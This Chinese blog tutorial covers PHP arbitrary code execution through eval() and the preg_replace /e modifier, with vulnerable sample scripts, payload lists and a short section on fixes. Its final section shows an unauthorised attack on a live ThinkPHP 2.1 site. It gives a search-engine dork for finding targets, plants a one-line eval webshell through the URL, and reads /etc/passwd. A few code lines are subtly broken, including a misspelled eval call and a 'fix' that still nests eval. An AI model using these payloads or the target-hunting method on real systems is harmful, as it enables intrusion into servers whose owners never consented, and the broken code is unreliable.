溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

任意代碼執(zhí)行漏洞

發(fā)布時間:2020-05-29 12:42:20 來源:網(wǎng)絡(luò) 閱讀:3283 作者:nw01f 欄目:安全技術(shù)

0x00 什么是任意代碼執(zhí)行

  • 當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)(如PHP重的eval)時,沒有考慮用戶是否能控制這個字符串,將造成代碼注入漏洞。狹義的代碼注入通常指將可執(zhí)行代碼注入到當(dāng)前頁面中,如PHP的eval函數(shù),可以將字符串代表的代碼作為PHP代碼執(zhí)行,當(dāng)用戶能夠控制這段字符串時,將產(chǎn)生代碼注入漏洞(也稱命令執(zhí)行)。廣義上的代碼注入,可以覆蓋大半安全漏洞的分類。


0x01 為什么存在任意代碼執(zhí)行

  • 幾種常用函數(shù)語言,都有將字符串轉(zhuǎn)化成代碼去執(zhí)行的相關(guān)函數(shù)。

  • PHP ===> eval( ),assert( )

  • Python ===> exec( )

  • Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>


0x02 為什么使用執(zhí)行代碼函數(shù)

  • 應(yīng)用有時候會考慮靈活性、簡潔性,在代碼中調(diào)用eval之類的函數(shù)去處理。

function string2array(%data){
    if($data == '')
        return array();
    @eavl("\$array = $data");
    return $array;
}
//當(dāng) $data 接受的字符串是這樣時:
$data = "array(
    'upload_maxsize' => '2048',
    'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
    'watermark_enable' ==> '1',
    )"
//通過eval()函數(shù)就可以將字符串‘a(chǎn)rray(....)’作為數(shù)組賦值給$array,這樣會大大的提升代碼的靈活性和簡潔性。


0x03 漏洞分類

  • eval()、assert()  (不常見)

  • preg_replace + /e 模式


0x04 漏洞利用(本地測試)

  • eval() ==>

#1:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
/*
    payload:
        ?data=phpinfo()
        ?data=1;phpinfo()
        ?data=${phpinfo()}
        ?data=${@eval($_POST[x])}  #一句話***,可以用菜刀連接
*/
 ?>
 
#2:
<?php
$data = $_GET['data'];
echo "\$ret= '$data'";
eval("\$ret = strtolower('$data');");
echo $ret;
/*
    payload:
        ?data=');phpinfo();//
        ?data=');@eval($_POST[a]);//
*/
 ?>
 
#3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
/*
    payload
        ?data={${phpinfo()}}
        ?data=1");phpinfo();//
        ?data=${@eval($_POST[x])}
*/
 ?>
  • preg_replace() ==>

<?php
$data = $_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);
echo $ret;
/*
    payload:
        ?data=<data>${phpinfo()}</data>
    注:PHP 5.5.0 /e 修飾符已經(jīng)被棄用
*/
 ?>


0x05 修復(fù)方案

  • eval() ==>

  • 能使用json保存數(shù)組、對象就是用json,不要將PHP對象保存成字符串,否則讀取的時候就需要使用eval

  • 對于必須使用eval的情況,一定要保證用戶不能輕易接觸eval的參數(shù)(或用正則嚴(yán)格判斷輸入的數(shù)據(jù)格式)。

  • 對于字符串,一定要使用單引號包裹可控代碼,并在插入前進(jìn)行addslashes

  • $data = addslashes($data)

  • eval("\$data = eval('$data');")

  • preg_replace() ==>

  • 放棄使用preg_replace的/e修飾符

  • 使用preg_replace_callback()替換

  • 如果必須使用preg_replace()+e修飾符,請保證第二個參數(shù)中,對于正則匹配出的對象,用單引號包裹


0x06 實例測試

  • 前面說了一大堆理論,現(xiàn)在來找個實例實際測試下。(本來想把網(wǎng)址公開的想想還是算了,這個漏洞的破壞性還是挺大的,就不公開了,我也怕“從web安全到派出所”......)

  • 盡管不會公開網(wǎng)址,但是還會告訴大家怎么去找這種存在 任意代碼執(zhí)行 的網(wǎng)站

  • ok,下面開始一步一步去實現(xiàn)漏洞的利用

  • 任意代碼執(zhí)行漏洞的存在環(huán)境:thinkphp 版本:2.1 

  • google hacking 也就是谷歌搜索啊: 

intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
  • 目標(biāo)站點url:http://www.xxxxxx.com/xxxx/id/43.html

為什么thinkphp這個版本存在 任意代碼執(zhí)行 漏洞,出現(xiàn)漏洞的代碼是什么我在這就不提了,大家
有興趣的可自行百度。
  • 測試目標(biāo)url:按照上面說的我們先來測試看看時候存在任意代碼執(zhí)行

任意代碼執(zhí)行漏洞

  • biubiubiu.....存在代碼執(zhí)行漏洞

  • 直接上一句話吧.....

  • id/{${@eval($_POST[x])}}.html

任意代碼執(zhí)行漏洞

  • 返回當(dāng)前路徑:id/{${exit(print(getcwd()))}}.html

解釋下這句:getcwd() 返回當(dāng)前工作路徑
            print()  打印一下
            exit()   停止加載,網(wǎng)站停止渲染只會顯示當(dāng)前工作路徑
  • 讀取文件:

  • id/{${exit(var_dump(file_get_contents($_POST[f])))}}.html

  • f=/etc/passwd

任意代碼執(zhí)行漏洞

  • ok,現(xiàn)在利用完畢

  • 本文有什么不對的地方,歡迎大家指正

  • 歡迎大家交流學(xué)習(xí)

  • 希望大家只用來做測試,不要搞破壞。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI